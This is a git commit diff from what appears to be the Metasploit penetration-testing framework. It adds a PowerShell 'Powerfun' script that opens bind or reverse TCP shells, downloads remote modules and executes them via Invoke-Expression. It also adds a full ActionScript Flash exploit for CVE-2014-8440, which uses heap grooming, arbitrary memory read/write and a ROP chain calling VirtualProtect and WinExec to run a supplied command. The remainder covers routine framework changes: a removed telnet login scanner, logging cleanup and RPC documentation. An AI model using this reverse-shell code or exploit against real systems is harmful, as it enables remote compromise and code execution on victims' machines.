Fix merge conflict

bug/bundler_fix
wchen-r7 2015-04-30 12:33:45 -05:00
commit 89d026c900
96 changed files with 3300 additions and 652 deletions

Binary file not shown.

View File

@ -0,0 +1,59 @@
# Powerfun - Written by Ben Turner & Dave Hardy
function Get-Webclient
{
$wc = New-Object -TypeName Net.WebClient
$wc.UseDefaultCredentials = $true
$wc.Proxy.Credentials = $wc.Credentials
$wc
}
function powerfun
{
Param(
[String]$Command,
[String]$Download
)
Process {
$modules = @(MODULES_REPLACE)
if ($Command -eq "bind")
{
$listener = [System.Net.Sockets.TcpListener]LPORT_REPLACE
$listener.start()
$client = $listener.AcceptTcpClient()
}
if ($Command -eq "reverse")
{
$client = New-Object System.Net.Sockets.TCPClient("LHOST_REPLACE",LPORT_REPLACE)
}
$stream = $client.GetStream()
[byte[]]$bytes = 0..255|%{0}
if ($Download -eq "true")
{
ForEach ($module in $modules)
{
(Get-Webclient).DownloadString($module)|Invoke-Expression
}
}
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
$data = $EncodedText.GetString($bytes,0, $i)
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
$x = ($error[0] | Out-String)
$error.clear()
$sendback2 = $sendback2 + $x
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
$listener.Stop()
}
}

View File

@ -1,7 +1,14 @@
Alphanetworks wrgg19_c_dlwbr_dir300
Alphanetworks wrgg19_c_dlwbr_dir300
Alphanetworks wrgn49_dlob_dir600b
Alphanetworks wrgn23_dlwbr_dir600b
Alphanetworks wrgn22_dlwbr_dir615
Alphanetworks wrgnd08_dlob_dir815
Alphanetworks wrgg15_di524
Alphanetworks wrgn39_dlob.hans_dir645
Alphanetworks wrgn39_dlob.hans_dir645
Alphanetworks wapnd03cm_dkbs_dap2555
Alphanetworks wapnd04cm_dkbs_dap3525
Alphanetworks wapnd15_dlob_dap1522b
Alphanetworks wrgac01_dlob.hans_dir865
Alphanetworks wrgn23_dlwbr_dir300b
Alphanetworks wrgn28_dlob_dir412
Alphanetworks wrgn39_dlob.hans_dir645_V1

502
external/source/exploits/CVE-2014-8440/Msf.as vendored Executable file
View File

@ -0,0 +1,502 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Download the Flex SDK (4.6)
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 4. Build with: mxmlc -o msf.swf Main.as
// It uses original code from @hdarwin89 for exploitation using ba's and vectors
package
{
import flash.utils.*
import flash.display.*
import flash.system.*
import mx.utils.Base64Decoder
public final class Msf extends Sprite {
private var shared_ba:ByteArray = null
private var hole_ba:ByteArray = null;
private var confuse_length_ba:ByteArray = null;
private var fake_ba:ByteArray = null;
private var worker:Worker = null;
private var byte_array_vector:Vector.<Object> = null;
private var byte_array_vector_length:int;
private var object_vector:Vector.<Object> = null;
private var object_vector_length:uint;
private var ba:ByteArray
private var uv:Vector.<uint>
private var corrupted_uv_index:uint = 0
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var b64:Base64Decoder = new Base64Decoder();
private var payload:String = ""
public function Msf() {
this.object_vector_length = 5770 * 2
this.byte_array_vector_length = 510 * 2
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
payload = b64.toByteArray().toString();
this.initialize_worker_and_ba()
if (!this.trigger())
{
return
}
var index:uint = search_uint_vector(114, 0x40000000)
if (index == 0xffffffff) {
return
}
this.uv = this.object_vector[this.corrupted_uv_index]
// Use the corrupted Vector<uint> to search saved addresses
var object_vector_pos:uint = search_object_vector()
var byte_array_object:uint = this.uv[object_vector_pos] - 1
var main:uint = this.uv[object_vector_pos + 2] - 1
var stack_object:uint = this.uv[object_vector_pos + 3] - 1
var payload_space_object:uint = this.uv[object_vector_pos + 4] - 1
// Locate the corrupted Vector<uint> in memory
// It allows arbitrary address memory read/write
var ba_address:uint = search_ba_address()
if (ba_address == 0xffffffff) {
return
}
var uv_address:uint = ba_address + index
this.uv[0] = uv_address
// Use the corrupted Vector<uint> to disclose arbitrary memory
var buffer_object:uint = vector_read(byte_array_object + 0x40)
var buffer:uint = vector_read(buffer_object + 8)
var stack_address:uint = vector_read(stack_object + 0x18)
var payload_address:uint = vector_read(payload_space_object + 0x18)
var vtable:uint = vector_read(main)
// Set the new ByteArray length
ba.endian = "littleEndian"
ba.length = 0x500000
// Overwite the ByteArray data pointer and capacity
var ba_array:uint = buffer_object + 8
var ba_capacity:uint = buffer_object + 16
vector_write(ba_array)
vector_write(ba_capacity, 0xffffffff)
// restoring the corrupted vector length since we don't need it
// anymore
this.uv[0] = 0xfeedbabe
//index = search_uint_vector(0xffffffff, 114)
index = search_uint_vector(0x40000000, 114)
if (index == 0xffffffff) {
return
}
var flash:uint = base(vtable)
var winmm:uint = module("winmm.dll", flash)
var kernel32:uint = module("kernel32.dll", winmm)
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
var winexec:uint = procedure("WinExec", kernel32)
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
// Continuation of execution
byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
byte_write(0, "\x89\x03", false) // mov [ebx], eax
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
byte_write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
byte_write(0, virtualprotect)
// VirtualProtect
byte_write(0, winexec)
byte_write(0, buffer + 0x10)
byte_write(0, 0x1000)
byte_write(0, 0x40)
byte_write(0, buffer + 0x8) // Writable address (4 bytes)
// WinExec
byte_write(0, buffer + 0x10)
byte_write(0, payload_address + 8)
byte_write(0)
byte_write(main, stack_address + 0x18000) // overwrite with fake vtable
toString() // call method in the fake vtable
}
final private function initialize_worker_and_ba():Boolean{
this.ba = new ByteArray()
this.ba.endian = "littleEndian"
this.ba.length = 1024
this.ba.writeUnsignedInt(0xdeedbeef)
this.ba.position = 0
this.shared_ba = new ByteArray()
this.shared_ba.shareable = true
this.shared_ba.endian = Endian.LITTLE_ENDIAN
this.shared_ba.writeUnsignedInt(252536)
this.shared_ba.writeUnsignedInt(16777216)
this.confuse_length_ba = new ByteArray()
this.confuse_length_ba.length = 0x2000
this.confuse_length_ba.endian = Endian.LITTLE_ENDIAN
this.fill_byte_array(this.confuse_length_ba, 0xAAAAAAAA)
this.fake_ba = new ByteArray();
this.fake_ba.endian = Endian.LITTLE_ENDIAN;
this.worker = WorkerDomain.current.createWorker(loaderInfo.bytes);
return true;
}
final private function trigger():Boolean{
// Memory massaging
// 1. Create ByteArray's of 0x2000 lenght and mark one of them (hole_ba)
this.fill_byte_array_vector();
// 2. Clear the marked ByteArray
this.hole_ba.clear();
// The shared_ba should be left in "shared" state
this.worker.setSharedProperty("fnfre", this.shared_ba)
this.worker.setSharedProperty("vfhrth", this.confuse_length_ba)
this.worker.setSharedProperty("vfhrth", this.shared_ba)
// fake_ba *data* is going to fill the space freed from the hole
this.fake_ba.length = 0x2000;
this.fill_byte_array(this.fake_ba, 0xBBBBBBBB);
// Trigger the vulnerability, if the memory layout is good enough
// the (freed) hole_ba metadata will end being the shared_ba metadata...
this.shared_ba.uncompress()
// So its size should be 0x2000
if (this.shared_ba.length != 0x2000)
{
return false
}
// Free the fake_ba and make holes on the ByteArray's
// allocated on massaging.
this.free_fake_and_make_holes()
// Fill the holes and the fake_ba data space with
// <uint> vectors
this.fill_with_vectors()
// Hopefully the shared_ba metadata, product of the vulnerability
// at this moment point to the <uint> vectors in memory =) it means
// game over.
var pwn_test:uint;
this.shared_ba.position = 0;
pwn_test = this.shared_ba.readUnsignedInt();
if (pwn_test == 0xBBBBBBBB)
{
return false
}
return true;
}
final private function fill_byte_array(local_ba:ByteArray, value:int):void{
var i:int;
local_ba.position = 0;
i = 0;
while (i < (local_ba.length / 4))
{
local_ba.writeInt(value);
i++;
};
local_ba.position = 0;
}
final private function fill_byte_array_vector():void{
var i:int;
var local_ba:ByteArray;
this.byte_array_vector = new Vector.<Object>(this.byte_array_vector_length)
i = 0;
while (i < this.byte_array_vector_length)
{
local_ba = new ByteArray();
this.byte_array_vector[i] = local_ba;
local_ba.endian = Endian.LITTLE_ENDIAN;
i++;
}
var hole_index:int = this.byte_array_vector_length * 4 / 5;
if (hole_index % 2 == 0)
{
hole_index++;
}
for(i = 0; i < this.byte_array_vector_length; i++)
{
local_ba = this.byte_array_vector[i] as ByteArray
local_ba.length = 0x2000
this.fill_byte_array(local_ba, 0xCCCCCCCC)
local_ba.writeInt(0xbabefac0)
local_ba.writeInt(0xbabefac1)
local_ba.writeInt(i)
local_ba.writeInt(0xbabefac3)
if (i == hole_index)
{
this.hole_ba = local_ba;
}
}
return;
}
final private function free_fake_and_make_holes():void {
var i:int
var clear_ba:ByteArray
var hole_index:int = this.byte_array_vector_length * 4 / 5
if (hole_index % 2 == 0)
{
hole_index++;
}
for (i = 0; i < this.byte_array_vector_length; i++)
{
if (i == hole_index) {
this.fake_ba.clear();
} else {
if (i % 2 == 1)
{
clear_ba = this.byte_array_vector[i] as ByteArray
this.fill_byte_array(clear_ba, 0xDDDDDDDD)
clear_ba.clear()
}
}
}
return
}
final private function fill_with_vectors():void {
var i:uint;
var uint_vector:Vector.<uint>;
var objects:Vector.<Object>;
this.object_vector = new Vector.<Object>(this.object_vector_length);
i = 0
while (i < this.object_vector_length)
{
if (i % 2 == 0) {
this.object_vector[i] = new Vector.<uint>()
} else {
this.object_vector[i] = new Vector.<Object>()
}
i++
}
i = 0
while (i < this.object_vector_length)
{
if (i % 2 == 0) {
uint_vector = this.object_vector[i] as Vector.<uint>
uint_vector.length = 114
uint_vector[0] = 0xfeedbabe
uint_vector[1] = i
uint_vector[2] = 0xbabeface
} else {
objects = this.object_vector[i] as Vector.<Object>
objects.length = 114
objects[0] = this.ba
objects[1] = i
objects[2] = this
objects[3] = this.stack
objects[4] = this.payload_space
}
i++
}
}
// Use the corrupted shared_ba to search and corrupt the uint vector
// Returns the offset to the *length* of the corrupted vector
private function search_uint_vector(old_length:uint, new_length:uint):uint {
this.shared_ba.position = 0
var i:uint = 0
var length:uint = 0
var atom:uint = 0
var mark_one:uint = 0
var index:uint = 0
var mark_two:uint = 0
while (i < 0x2000) {
length = shared_ba.readUnsignedInt()
if (length == old_length) {
atom = shared_ba.readUnsignedInt()
mark_one = shared_ba.readUnsignedInt()
index = shared_ba.readUnsignedInt()
mark_two = shared_ba.readUnsignedInt()
if (mark_one == 0xfeedbabe && mark_two == 0xbabeface) {
shared_ba.position = i
shared_ba.writeUnsignedInt(new_length)
this.corrupted_uv_index = index
return i;
}
i = i + 16
}
i = i + 4
}
return 0xffffffff
}
// Use the corrupted shared_ba to disclose its own address
private function search_ba_address():uint {
var address:uint = 0
this.shared_ba.position = 0x14
address = shared_ba.readUnsignedInt()
if (address == 0) {
address = 0xffffffff
this.shared_ba.position = 8
var next:uint = shared_ba.readUnsignedInt()
var prior:uint = shared_ba.readUnsignedInt()
if (next - prior == 0x8000) {
address = prior + 0x4000
}
} else {
address = address - 0x30
}
return address
}
// Use the corrupted uint vector to search an vector with
// interesting objects for info leaking
private function search_object_vector():uint {
var i:uint = 0;
while (i < 0x4000){
if (this.uv[i] == 114 && this.uv[i + 2] != 0xfeedbabe) {
return i + 1;
}
i++
}
return 0xffffffff
}
// Methods to use the corrupted uint vector
private function vector_write(addr:uint, value:uint = 0):void
{
var pos:uint = 0
if (addr > this.uv[0]) {
pos = ((addr - this.uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (this.uv[0] - addr)) / 4) - 1
}
this.uv[pos] = value
}
private function vector_read(addr:uint):uint
{
var pos:uint = 0
if (addr > this.uv[0]) {
pos = ((addr - this.uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (this.uv[0] - addr)) / 4) - 1
}
return this.uv[pos]
}
// Methods to use the corrupted byte array for arbitrary reading/writing
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else ba.writeUnsignedInt(value)
}
private function byte_read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
// Methods to search the memory with the corrupted byte array
private function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (byte_read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
private function module(name:String, addr:uint):uint
{
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
var i:int = -1
while (true) {
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
ba.position = addr + entry
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
if (dll_name == name.toUpperCase()) {
break;
}
}
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
}
private function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
var numberOfNames:uint = byte_read(eat + 0x18)
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
var addressOfNames:uint = addr + byte_read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
for (var i:uint = 0; ; i++) {
var entry:uint = byte_read(addressOfNames + i * 4)
ba.position = addr + entry
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
}
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
}
private function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
return addr + i
}
}
}

View File

@ -1,122 +0,0 @@
require 'msf/core'
require 'metasploit/framework/telnet/client'
require 'metasploit/framework/login_scanner/base'
require 'metasploit/framework/login_scanner/rex_socket'
module Metasploit
module Framework
module LoginScanner
# This is based off of the telnet LoginScanner. We had to role our own,
# based on hdm's recommendation, since we're not trying to login to telnet,
# but we're actually doing the escalated privileges (enable) login.
class Brocade_Telnet
include Metasploit::Framework::LoginScanner::Base
include Metasploit::Framework::LoginScanner::RexSocket
include Metasploit::Framework::Telnet::Client
CAN_GET_SESSION = true
DEFAULT_PORT = 23
LIKELY_PORTS = [ DEFAULT_PORT ]
LIKELY_SERVICE_NAMES = [ 'telnet' ]
PRIVATE_TYPES = [ :password ]
REALM_KEY = nil
# @!attribute verbosity
# The timeout to wait for the telnet banner.
#
# @return [Fixnum]
attr_accessor :banner_timeout
# @!attribute verbosity
# The timeout to wait for the response from a telnet command.
#
# @return [Fixnum]
attr_accessor :telnet_timeout
validates :banner_timeout,
presence: true,
numericality: {
only_integer: true,
greater_than_or_equal_to: 1
}
validates :telnet_timeout,
presence: true,
numericality: {
only_integer: true,
greater_than_or_equal_to: 1
}
# (see {Base#attempt_login})
def attempt_login(credential)
result_options = {
credential: credential,
host: host,
port: port,
protocol: 'tcp',
service_name: 'telnet'
}
begin
if connect_reset_safe == :refused
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
else
if busy_message?
self.sock.close unless self.sock.closed?
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
end
end
unless result_options[:status]
raw_send("enable\r\n") #send the enable command
unless password_prompt?
send_user(credential.public)
end
recvd_sample = @recvd.dup
# Allow for slow echos
1.upto(10) do
recv_telnet(self.sock, 0.10) unless @recvd.nil? or @recvd[/#{@password_prompt}/]
end
if password_prompt?(credential.public)
send_pass(credential.private)
# Allow for slow echos
1.upto(10) do
recv_telnet(self.sock, 0.10) if @recvd == recvd_sample
end
end
if login_succeeded?
result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL
else
result_options[:status] = Metasploit::Model::Login::Status::INCORRECT
end
end
rescue ::EOFError, Errno::ECONNRESET, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
end
::Metasploit::Framework::LoginScanner::Result.new(result_options)
end
private
# This method sets the sane defaults for things
# like timeouts and TCP evasion options
def set_sane_defaults
self.connection_timeout ||= 30
self.port ||= DEFAULT_PORT
self.banner_timeout ||= 25
self.telnet_timeout ||= 10
self.connection_timeout ||= 30
self.max_send_size ||= 0
self.send_delay ||= 0
# Shim to set up the ivars from the old Login mixin
create_login_ivars
end
end
end
end
end

View File

@ -0,0 +1,36 @@
# -*- coding: binary -*-
require 'msf/base/sessions/command_shell'
class Msf::Sessions::PowerShell < Msf::Sessions::CommandShell
#
# Execute any specified auto-run scripts for this session
#
def process_autoruns(datastore)
# Read the username and hostname from the initial banner
initial_output = shell_read(-1, 0.01)
if initial_output =~ /running as user ([^\s]+) on ([^\s]+)/
username = $1
hostname = $2
self.info = "#{username} @ #{hostname}"
else
self.info = initial_output.gsub(/[\r\n]/, ' ')
end
# Call our parent class's autoruns processing method
super
end
#
# Returns the type of session.
#
def self.type
"powershell"
end
#
# Returns the session description.
#
def desc
"Powershell session"
end
end

View File

@ -35,7 +35,7 @@ module Auxiliary::Login
#
# Some of these regexes borrowed from NeXpose, others added from datasets
#
@login_regex = /(?:log[io]n( name|)|user( ?name|id|))\s*\:/i
@login_regex = /(?:log[io]n( name|)|user(name|id|))\s*\:/i
@password_regex = /(?:password|passwd)\s*\:/i
@false_failure_regex = /(?:(^\s*last)\ login *\:|allows only\ .*\ Telnet\ Client\ License)/i
@failure_regex = /(?:

View File

@ -92,11 +92,7 @@ module Exploit::Remote::HttpServer
def print_error(msg='')
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def print_debug(msg='')
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
end
#
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
@ -126,11 +122,6 @@ module Exploit::Remote::HttpServer
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def vprint_debug(msg='')
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def vprint_warning(msg='')
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
end

View File

@ -219,7 +219,7 @@ module Msf
@requirements.each do |k, v|
expected = k != :vuln_test ? v : 'true'
vprint_debug("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}")
vprint_status("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}")
if k == :activex
bad_reqs << k if has_bad_activex?(profile[k.to_sym])
@ -334,7 +334,7 @@ module Msf
when :script
# Gathers target data from a POST request
parsed_body = CGI::parse(Rex::Text.decode_base64(request.body) || '')
vprint_debug("Received sniffed browser data over POST: \n#{parsed_body}.")
vprint_status("Received sniffed browser data over POST: \n#{parsed_body}.")
parsed_body.each { |k, v| update_profile(target_info, k.to_sym, v.first) }
when :headers
# Gathers target data from headers

View File

@ -1,9 +1,4 @@
module Msf::Module::UI::Message::Verbose
# Verbose version of #print_debug
def vprint_debug(msg)
print_debug(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE']
end
# Verbose version of #print_error
def vprint_error(msg)
print_error(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE']

View File

@ -14,18 +14,21 @@ class OptAddressRange < OptBase
def normalize(value)
return nil unless value.kind_of?(String)
if value =~ /^rand:(.*)/
if (value =~ /^file:(.*)/)
path = $1
return false if not File.exists?(path) or File.directory?(path)
return File.readlines(path).map{ |s| s.strip}.join(" ")
elsif (value =~ /^rand:(.*)/)
count = $1.to_i
return false if count < 1
ret = ''
count.times do
ret << ' ' if not ret.empty?
ret << [ rand(0x100000000) ].pack('N').unpack('C*').map{|x| x.to_s }.join('.')
end
count.times {
ret << " " if not ret.empty?
ret << [ rand(0x100000000) ].pack("N").unpack("C*").map{|x| x.to_s }.join(".")
}
return ret
end
value
return value
end
def valid?(value)

View File

@ -13,6 +13,14 @@ class OptRaw < OptBase
end
def normalize(value)
if (value =~ /^file:(.*)/)
path = $1
begin
value = File.read(path)
rescue ::Errno::ENOENT, ::Errno::EISDIR
value = nil
end
end
value
end

View File

@ -13,6 +13,14 @@ class OptString < OptBase
end
def normalize(value)
if (value =~ /^file:(.*)/)
path = $1
begin
value = File.read(path)
rescue ::Errno::ENOENT, ::Errno::EISDIR
value = nil
end
end
value
end

View File

@ -119,13 +119,6 @@ class Plugin
output.print_good(msg) if (output)
end
#
# Prints a 'debug' message.
#
def print_debug(msg='')
output.print_debug(msg) if (output)
end
#
# Prints a status line.
#

View File

@ -331,7 +331,6 @@ protected
begin
client.sys.config.getprivs()
root_key, base_key = session.sys.registry.splitkey(key)
#print_debug("Loading file #{file}")
begin
loadres = session.sys.registry.load_key(root_key, base_key, file)
rescue Rex::Post::Meterpreter::RequestError => e
@ -349,7 +348,6 @@ protected
#print_error("An unknown error has occurred: #{loadres.to_s}")
return false
else
#print_debug("Registry Hive Loaded Successfully: #{key}")
return true
end
end
@ -377,7 +375,6 @@ protected
#print_error("An unknown error has occurred: #{unloadres.to_s}")
return false
else
#print_debug("Registry Hive Unloaded Successfully: #{key}")
return true
end
end

View File

@ -12,9 +12,21 @@ module RPC
class Client
attr_accessor :token, :info
# @!attribute token
# @return [String] A login token.
attr_accessor :token
# @!attribute info
# @return [Hash] Login information.
attr_accessor :info
# Initializes the RPC client to connect to: https://127.0.0.1:3790 (TLS1)
# The connection information is overridden through the optional info hash.
#
# @param [Hash] info Information needed for the initialization.
# @option info [String] :token A token used by the client.
# @return [void]
def initialize(info={})
self.info = {
:host => '127.0.0.1',
@ -29,6 +41,13 @@ class Client
end
# Logs in by calling the 'auth.login' API. The authentication token will expire 5 minutes
# after the last request was made.
#
# @param [String] user Username.
# @param [String] pass Password.
# @raise RuntimeError Indicating a failed authentication.
# @return [TrueClass] Indicating a successful login.
def login(user,pass)
res = self.call("auth.login", user, pass)
unless (res && res['result'] == "success")
@ -38,8 +57,23 @@ class Client
true
end
# Prepend the authentication token as the first parameter
# of every call except auth.login. Requires the
# Calls an API.
#
# @param [String] meth The RPC API to call.
# @param [Array<string>] args The arguments to pass.
# @raise [RuntimeError] Something is wrong while calling the remote API, including:
# * A missing token (your client needs to authenticate).
# * A unexpected response from the server, such as a timeout or unexpected HTTP code.
# @raise [Msf::RPC::ServerException] The RPC service returns an error.
# @return [Hash] The API response. It contains the following keys:
# * 'version' [String] Framework version.
# * 'ruby' [String] Ruby version.
# * 'api' [String] API version.
# @example
# # This will return something like this:
# # {"version"=>"4.11.0-dev", "ruby"=>"2.1.5 x86_64-darwin14.0 2014-11-13", "api"=>"1.0"}
# rpc.call('core.version')
def call(meth, *args)
unless meth == "auth.login"
unless self.token
@ -84,6 +118,10 @@ class Client
end
end
# Closes the client.
#
# @return [void]
def close
if @cli && @cli.conn?
@cli.close

View File

@ -8,6 +8,11 @@ API_VERSION = "1.0"
class Exception < RuntimeError
attr_accessor :code, :message
# Initializes Exception.
#
# @param [Fixnum] code An error code.
# @param [String] message An error message.
# @return [void]
def initialize(code, message)
self.code = code
self.message = message
@ -18,6 +23,13 @@ end
class ServerException < RuntimeError
attr_accessor :code, :error_message, :error_class, :error_backtrace
# Initializes ServerException.
#
# @param [Fixnum] code An error code.
# @param [String] error_message An error message.
# @param [Exception] error_class An error class.
# @param [Array] error_backtrace A backtrace of the error.
# @return [void]
def initialize(code, error_message, error_class, error_backtrace)
self.code = code
self.error_message = error_message

View File

@ -11,8 +11,21 @@ begin
rescue ::LoadError
end
# Handles client authentication. The authentication token will expire 5 minutes after the
# last request was made.
#
# @param [String] user The username.
# @param [String] pass The password.
# @raise [Msf::RPC::Exception] Something is wrong while authenticating, you can possibly get:
# * 401 Failed authentication.
# @return [Hash] A hash indicating a successful login, it contains the following keys:
# * 'result' [String] A successful message: 'success'.
# * 'token' [String] A token for the authentication.
# @example Here's how you would use this from the client:
# # This returns something like the following:
# # {"result"=>"success", "token"=>"TEMPyp1N40NK8GM0Tx7A87E6Neak2tVJ"}
# rpc.call('auth.login_noauth', 'username', 'password')
def rpc_login_noauth(user,pass)
if not (user.kind_of?(::String) and pass.kind_of?(::String))
error(401, "Login Failed")
end
@ -42,6 +55,19 @@ end
{ "result" => "success", "token" => token }
end
# Handles client deauthentication.
#
# @param [String] token The user's token to log off.
# @raise [Msf::RPC::Exception] An error indicating a failed deauthentication, including:
# * 500 Invalid authentication token.
# * 500 Permanent authentication token.
# @return [Hash] A hash indiciating the action was successful. It contains the following key:
# * 'result' [String] The successful message: 'success'
# @example Here's how you would use this from the client:
# # This returns something like:
# # {"result"=>"success"}
# rpc.call('auth.logout', 'TEMPyp1N40NK8GM0Tx7A87E6Neak2tVJ')
def rpc_logout(token)
found = self.service.tokens[token]
error("500", "Invalid Authentication Token") if not found
@ -53,6 +79,16 @@ end
{ "result" => "success" }
end
# Returns a list of authentication tokens, including the ones that are
# temporary, permanent, or stored in the backend.
#
# @return [Hash] A hash that contains a list of authentication tokens. It contains the following key:
# * 'tokens' [Array<string>] An array of tokens.
# @example Here's how you would use this from the client:
# # This returns something like:
# # {"tokens"=>["TEMPf5I4Ec8cBEKVD8D7xtIbTXWoKapP", "TEMPtcVmMld8w74zo0CYeosM3iXW0nJz"]}
# rpc.call('auth.token_list')
def rpc_token_list
res = self.service.tokens.keys
begin
@ -66,6 +102,14 @@ end
{ "tokens" => res }
end
# Adds a new token to the database.
#
# @param [String] token A unique token.
# @return [Hash] A hash indicating the action was successful. It contains the following key:
# * 'result' [String] The successful message: 'success'
# @example Here's how you would use this from the client:
# rpc.call('auth.token_add', 'UNIQUE_TOKEN')
def rpc_token_add(token)
db = false
begin
@ -85,6 +129,16 @@ end
{ "result" => "success" }
end
# Generates a random 32-byte authentication token. The token is added to the
# database as a side-effect.
#
# @return [Hash] A hash indicating the action was successful, also the new token.
# It contains the following keys:
# * 'result' [String] The successful message: 'success'
# * 'token' [String] A new token.
# @example Here's how you would use this from the client:
# rpc.call('auth.token_generate')
def rpc_token_generate
token = Rex::Text.rand_text_alphanumeric(32)
db = false
@ -106,6 +160,16 @@ end
{ "result" => "success", "token" => token }
end
# Removes a token from the database. Similar to what #rpc_logout does internally, except this
# can remove tokens stored in the database backend (Mdm).
#
# @see #rpc_logout
# @param [String] token The token to delete.
# @return [Hash] A hash indicating the action was successful. It contains the following key:
# * 'result' [String] The successful message: 'success'
# @example Here's how you would use this from the client:
# rpc.call('auth.token_remove', 'TEMPtcVmMld8w74zo0CYeosM3iXW0nJz')
def rpc_token_remove(token)
db = false
begin

View File

@ -5,6 +5,9 @@ module RPC
class RPC_Base
attr_accessor :framework, :service, :tokens, :users
# Initializes framework, service, tokens, and users
#
# return [void]
def initialize(service)
self.service = service
self.framework = service.framework
@ -12,6 +15,12 @@ class RPC_Base
self.users = service.users
end
# Raises an Msf::RPC Exception.
#
# @param [Fixnum] code The error code to raise.
# @param [String] message The error message.
# @raise [Msf::RPC::Exception]
# @return [void]
def error(code, message)
raise Msf::RPC::Exception.new(code, message)
end

View File

@ -7,11 +7,24 @@ module Msf
module RPC
class RPC_Console < RPC_Base
# Initializes the RPC console
#
# @return [Msf::Ui::Web::Driver]
def initialize(*args)
super
@console_driver = Msf::Ui::Web::Driver.new(:framework => framework)
end
# Creates a new framework console instance.
#
# @param [Hash] opts See Msf::Ui::Web::Driver#create_console
# @return [Hash] Information about the new console. It contains the following keys:
# * 'id' [Fixnum] The console's ID.
# * 'prompt' [String] The framework prompt (example: 'msf > ')
# * 'busy' [TrueClass] The console's busy state, or
# * 'busy' [FalseClass] The console's busy state.
# @example Here's how you would use this from the client:
# rpc.call('console.create')
def rpc_create(opts={})
cid = @console_driver.create_console(opts)
{
@ -21,6 +34,17 @@ class RPC_Console < RPC_Base
}
end
# Returns a list of framework consoles.
#
# @return [Hash] Console information.
# * 'consoles' [Array<Hash>] consoles, each element is a hash that includes:
# * 'id' [Fixnum] The console's ID
# * 'prompt' [String] The framework prompt (example: 'msf > ')
# * 'busy' [TrueClass] The console's busy state, or
# * 'busy' [FalseClass] The console's busy state.
# @example Here's how you would use this from the client:
# rpc.call('console.list')
def rpc_list
ret = []
